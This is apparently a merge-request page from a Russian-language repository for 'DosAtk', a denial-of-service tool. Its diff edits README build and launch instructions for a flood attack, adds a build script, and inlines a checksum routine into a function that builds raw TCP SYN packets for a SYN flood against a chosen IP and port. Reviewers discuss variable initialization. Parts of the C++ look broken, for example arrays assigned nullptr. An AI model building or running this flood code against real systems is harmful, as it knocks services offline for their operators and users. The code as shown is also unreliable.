delete check_sum function and moved its logic inside tcp_syn #13

Merged
dr-wh0 merged 4 commits from my_tcp_syn into dev 2025-04-08 01:48:15 +03:00
3 changed files with 53 additions and 51 deletions

View File

@ -1,6 +1,7 @@
# Как жить? # Как жить?
Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request.
Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка)
``` ```
git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!)
@ -13,15 +14,22 @@ git push origin my_dns # Пушим свою ветку в репозитори
# Компиляция # Компиляция
Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto`
Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` Если ошибка отсутствия заголовочных файлов, то нужно установить:
```
sudo apt-get install libcurl4-openssl-dev
sudo apt-get install libssl-dev
```
# Запуск # Запуск
Пример запуска: Пример запуска:
``` ```
sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 # запуск заранее скомпилированной программы
sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу
``` ```
Запускается только на Линухе! Запускается только на Линухе!

View File

@ -1,2 +1,4 @@
#!/bin/sh
set -e # if compilation fail next command will not be executed, so older version of programm will not be launched
g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto
./DosAtk "$@" ./DosAtk "$@"

View File

@ -423,60 +423,24 @@ int my_dns()
printf("end my_dns"); // debug printf("end my_dns"); // debug
} }
unsigned short checksum(void *data, int len) int my_tcp_syn() {
{
/**
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
*
* Параметры:
* data - указатель на данные пакета
* len - длина данных в байтах
*
* Возвращает:
* 16-битную инвертированную контрольную сумму
*/
// === Объявление локальных переменных ===
uint16_t *ptr; // Указатель для чтения 16-битных слов
unsigned long sum; // Аккумулятор для суммы
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
// === Инициализация переменных ===
ptr = (uint16_t *)data; // Инициализируем указатель на данные
sum = 0; // Начальное значение суммы
// === Основная логика процедуры ===
// Суммируем 16-битные слова
while (len > 1) {
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
len -= 2; // Уменьшаем счетчик оставшихся байт
}
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
byte_ptr = (uint8_t *)ptr;
sum += *byte_ptr;
}
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
}
int my_tcp_syn()
{
/* /*
* Отправляет TCP SYN запрос на указанный IP и порт * Отправляет TCP SYN запрос на указанный IP и порт
* status: * status:
* 0 - запрос успешно отправлен (атака продолжается) * 0 - запрос успешно отправлен (атака продолжается)
* 2 - достигнуто максимальное количество запросов (1000) * 2 - достигнуто максимальное количество запросов (1000)
* -201 - ошибка создания raw-сокета * -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета * -202 - ошибка отправки SYN-пакета
*/ */
printf("start my_tcp_syn"); // debug printf("start my_tcp_syn"); // debug
// === Объявление локальных переменных === // === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов int sock; // Основной raw-сокет для отправки пакетов
int one; // Флаг для setsockopt int one; // Флаг для setsockopt
// Структуры для адресов // Структуры для адресов
struct sockaddr_in target_addr; // Адрес цели struct sockaddr_in target_addr; // Адрес цели
// Параметры подключения // Параметры подключения
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) uint16_t target_port; // Порт цели (в сетевом порядке байт)
// Структуры заголовков // Структуры заголовков
struct iphdr ip_header; // IP-заголовок пакета struct iphdr ip_header; // IP-заголовок пакета
struct tcphdr tcp_header; // TCP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета
@ -492,6 +456,12 @@ int my_tcp_syn()
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
// Переменные для встроенного расчета контрольной суммы
uint16_t *checksum_ptr;
unsigned long checksum_sum;
uint8_t *checksum_byte_ptr;
int checksum_len;
// === Инициализация переменных === // === Инициализация переменных ===
Urmipie marked this conversation as resolved
Review

Число объявленных и инициализированных переменных должно совпадать

Число объявленных и инициализированных переменных должно совпадать
sock = -1; sock = -1;
one = 1; one = 1;
@ -502,6 +472,9 @@ int my_tcp_syn()
pseudo_header = nullptr; pseudo_header = nullptr;
temp_buf = nullptr; temp_buf = nullptr;
packet = nullptr; packet = nullptr;
checksum_ptr = 0;
checksum_sum = 0;
checksum_len = 0;
// === Основная логика процедуры === // === Основная логика процедуры ===
// 1. Создание raw-сокета // 1. Создание raw-сокета
@ -515,7 +488,10 @@ int my_tcp_syn()
// 3. Настройка адреса цели // 3. Настройка адреса цели
memset(&target_addr, 0, sizeof(target_addr)); memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET; target_addr.sin_family = AF_INET;
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
close(sock);
return -202;
}
// 4. Формирование IP заголовка // 4. Формирование IP заголовка
memset(&ip_header, 0, sizeof(ip_header)); memset(&ip_header, 0, sizeof(ip_header));
@ -546,7 +522,23 @@ int my_tcp_syn()
}; };
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
// Встроенный расчет контрольной суммы
Urmipie marked this conversation as resolved
Review

checksum_ptr, checksum_sum, checksum_len необходимо инициализировать сначала

checksum_ptr, checksum_sum, checksum_len необходимо инициализировать сначала
Review

Они инициализированы на строке 459

Они инициализированы на строке 459
checksum_ptr = (uint16_t *)temp_buf;
checksum_len = sizeof(temp_buf);
while (checksum_len > 1) {
checksum_sum += *checksum_ptr++;
checksum_len -= 2;
}
if (checksum_len == 1) {
checksum_byte_ptr = (uint8_t *)checksum_ptr;
checksum_sum += *checksum_byte_ptr;
}
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
tcp_header.check = (unsigned short)(~checksum_sum);
// 7. Сборка пакета // 7. Сборка пакета
memcpy(packet, &ip_header, sizeof(iphdr)); memcpy(packet, &ip_header, sizeof(iphdr));
@ -554,7 +546,7 @@ int my_tcp_syn()
// 8. Отправка пакета // 8. Отправка пакета
if (sendto(sock, packet, sizeof(packet), 0, if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++; n_fail_requests++;
return -202; return -202;
} else { } else {